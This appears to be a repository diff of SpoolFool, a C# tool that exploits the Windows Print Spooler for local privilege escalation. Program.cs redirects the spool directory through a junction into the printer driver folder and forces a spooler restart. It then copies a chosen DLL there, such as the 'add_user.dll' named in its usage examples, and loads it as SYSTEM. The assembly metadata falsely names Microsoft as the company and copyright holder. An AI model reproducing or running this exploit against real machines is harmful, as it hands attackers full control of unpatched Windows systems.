[MarshalAs(UnmanagedType.LPTStr)]
public string pSepFile;
[MarshalAs(UnmanagedType.LPTStr)]
public string pPrintProcessor;
[MarshalAs(UnmanagedType.LPTStr)]
public string pDatatype;
[MarshalAs(UnmanagedType.LPTStr)]
public string pParameters;
public IntPtr pSecurityDescriptor;
public uint Attributes; // See note below!
public uint Priority;
public uint DefaultPriority;
public uint StartTime;
public uint UntilTime;
public uint Status;
public uint cJobs;
public uint AveragePPM;
}
[DllImport("winspool.drv")]
static extern bool GetPrinterDriverDirectory(StringBuilder pName,
StringBuilder pEnv,
int Level,
[Out] StringBuilder outPath,
int bufferSize,
ref int Bytes);
[DllImport("winspool.drv")]
internal static extern int SetPrinterDataEx(IntPtr pHandle,
string pKeyName,
string pValueName,
int Type,
string pData,
int cbData);
internal static string GetDriverDirectory()
{
StringBuilder str = new StringBuilder(1024);
int i = 0;
GetPrinterDriverDirectory(null, null, 1, str, 1024, ref i);
return str.ToString();
}
internal static bool OpenExistingPrinter(string printerName, ref IntPtr pHandle)
{
PRINTER_DEFAULTS defaults = new PRINTER_DEFAULTS();
defaults.DesiredAccess = PRINTER_ALL_ACCESS;
return OpenPrinter(printerName, out pHandle, ref defaults);
}
internal static IntPtr CreatePrinter(string printerName)
{
PRINTER_INFO_2 printerInfo = new PRINTER_INFO_2();
printerInfo.pPrinterName = printerName;
printerInfo.pDriverName = "Microsoft XPS Document Writer v4";
printerInfo.pPortName = "PORTPROMPT:";
printerInfo.pPrintProcessor = "winprint";
printerInfo.pDatatype = "RAW";
IntPtr hPrinter = AddPrinter("", 2, ref printerInfo);
return hPrinter;
}
}
}

View File

@ -0,0 +1,226 @@
using System;
using System.Linq;
using System.Threading;
using System.IO;
using System.Security.AccessControl;
using System.Runtime.InteropServices;
namespace SpoolFool
{
public class Program
{
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
public static void CommandEntry(string commandLine)
{
if (commandLine == "" || commandLine == null)
{
Main(null);
return;
}
int argc;
var argv = CommandLineToArgvW(commandLine, out argc);
if (argv == IntPtr.Zero)
throw new System.ComponentModel.Win32Exception();
try
{
var args = new string[argc];
for (var i = 0; i < args.Length; i++)
{
var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size);
args[i] = Marshal.PtrToStringUni(p);
}
Main(args);
}
finally
{
Marshal.FreeHGlobal(argv);
}
}
internal static void Main(string[] args)
{
string moduleName = System.Reflection.Assembly.GetExecutingAssembly().Location;
if (args == null || !args.Any())
{
Console.WriteLine();
Console.WriteLine("SpoolFool");
Console.WriteLine(" By Oliver Lyak (@ly4k_)");
Console.WriteLine();
Console.WriteLine("Examples:");
Console.WriteLine(" {0} -dll add_user.dll", moduleName);
Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer'", moduleName);
Console.WriteLine(" {0} -dll add_user.dll -dir 'SECRET'", moduleName);
Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET'", moduleName);
return;
}
string argPrinterName = "Microsoft XPS Document Writer v4";
string argDriverDirectory = "4";
string argSourceDLL = "";
IntPtr pHandle = new IntPtr(0);
foreach (var entry in args.Select((value, index) => new { index, value }))
{
string argument = entry.value.ToUpper();
switch (argument)
{
case "-PRINTER":
case "/PRINTER":
argPrinterName = args[entry.index + 1];
break;
case "-DIR":
case "/DIR":
argDriverDirectory = args[entry.index + 1];
break;
case "-DLL":
case "/DLL":
argSourceDLL = args[entry.index + 1];
break;
}
}
if (argSourceDLL == "")
{
Console.WriteLine("[-] Please specify a DLL");
return;
}
if (File.Exists(argSourceDLL) == false)
{
Console.WriteLine("[-] Could not find DLL: {0}", argSourceDLL);
return;
}
if (argDriverDirectory == "")
{
argDriverDirectory = "{" + Guid.NewGuid().ToString().ToUpper() + "}";
Console.WriteLine("[*] Generating random driver directory: {0}", argDriverDirectory);
}
string tempPath = Path.GetTempPath();
string baseDirectory = Path.Combine(tempPath, Guid.NewGuid().ToString());
string driverDir = Printer.GetDriverDirectory();
string targetDir = Path.Combine(driverDir, argDriverDirectory);
string linkDirectory = "\\\\localhost\\C$\\" + Path.Combine(baseDirectory, argDriverDirectory).Substring(3); // Remove 'C:\'
string sourceDllName = Path.GetFileName(argSourceDLL);
string targetDll = Path.Combine(targetDir, sourceDllName);
Console.WriteLine("[*] Using printer name: {0}", argPrinterName);
Console.WriteLine("[*] Using driver directory: {0}", argDriverDirectory);
Directory.CreateDirectory(baseDirectory);
Console.WriteLine("[*] Using temporary base directory: {0}", baseDirectory);
Console.WriteLine("[*] Trying to open existing printer: {0}", argPrinterName);
if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle) == false)
{
Console.WriteLine("[*] Failed to open existing printer: {0}", argPrinterName);
Console.WriteLine("[*] Trying to create printer: {0}", argPrinterName);
pHandle = Printer.CreatePrinter(argPrinterName);
if (pHandle == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to create printer: {0}", argPrinterName);
return;
}
else
{
Console.WriteLine("[+] Created printer: {0}", argPrinterName);
}
}
else
{
Console.WriteLine("[+] Opened existing printer: {0}", argPrinterName);
}
if (Directory.Exists(targetDir))
{
Console.WriteLine("[*] Target directory already exists", targetDir);
goto LOAD_DLL;
}
Console.WriteLine("[*] Setting spool directory to: {0}", linkDirectory);
if (Printer.SetPrinterDataEx(pHandle, "\\", "SpoolDirectory", 1, linkDirectory, linkDirectory.Length) == 0)
{
Console.WriteLine("[+] Successfully set the spool directory to: {0}", linkDirectory);
}
else
{
Console.WriteLine("[-] Failed to set the spool directory to: {0}", linkDirectory);
return;
}
Console.WriteLine("[*] Creating junction point: {0} -> {1}", baseDirectory, driverDir);
JunctionPoint.Create(baseDirectory, driverDir, true);
string terminator = "C:\\Windows\\System32\\AppVTerminator.dll";
Console.WriteLine("[*] Forcing spooler to restart");
Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, terminator, terminator.Length);
Console.Write("[*] Waiting for spooler to restart");
while (true)
{
Thread.Sleep(2000);
Console.Write(".");
if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle))
{
Console.WriteLine("");
break;
}
}
Console.WriteLine("[+] Spooler restarted");
if (Directory.Exists(targetDir))
{
Console.WriteLine("[+] Successfully created driver directory: {0}", targetDir);
}
else
{
Console.WriteLine("[-] Failed to create driver directory: {0}", targetDir);
return;
}
LOAD_DLL:
Console.WriteLine("[*] Copying DLL: {0} -> {1}", argSourceDLL, targetDll);
if (File.Exists(targetDll))
{
Console.WriteLine("[*] DLL already exists: {0}", targetDll);
Console.WriteLine("[*] Trying to delete DLL: {0}", targetDll);
File.Delete(targetDll);
}
File.Copy(argSourceDLL, targetDll);
Console.WriteLine("[*] Granting read and execute to SYSTEM on DLL: {0}", targetDll);
FileSecurity fSecurity = File.GetAccessControl(targetDll);
fSecurity.AddAccessRule(new FileSystemAccessRule(@"System", FileSystemRights.ReadAndExecute, AccessControlType.Allow));
File.SetAccessControl(targetDll, fSecurity);
Console.WriteLine("[*] Loading DLL as SYSTEM: {0}", targetDll);
Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, targetDll, targetDll.Length);
Console.WriteLine("[*] DLL should be loaded");
Directory.Delete(baseDirectory);
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SpoolFool")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyProduct("SpoolFool")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("ec49a1b1-4daa-47b1-90d1-787d44c641c0")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,55 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>SpoolFool</RootNamespace>
<AssemblyName>SpoolFool</AssemblyName>
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="JunctionPoints.cs" />
<Compile Include="Printer.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31613.86
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SpoolFool", "SpoolFool.csproj", "{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {248D0078-590F-4249-9D4E-41297672BAC8}
EndGlobalSection
EndGlobal

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB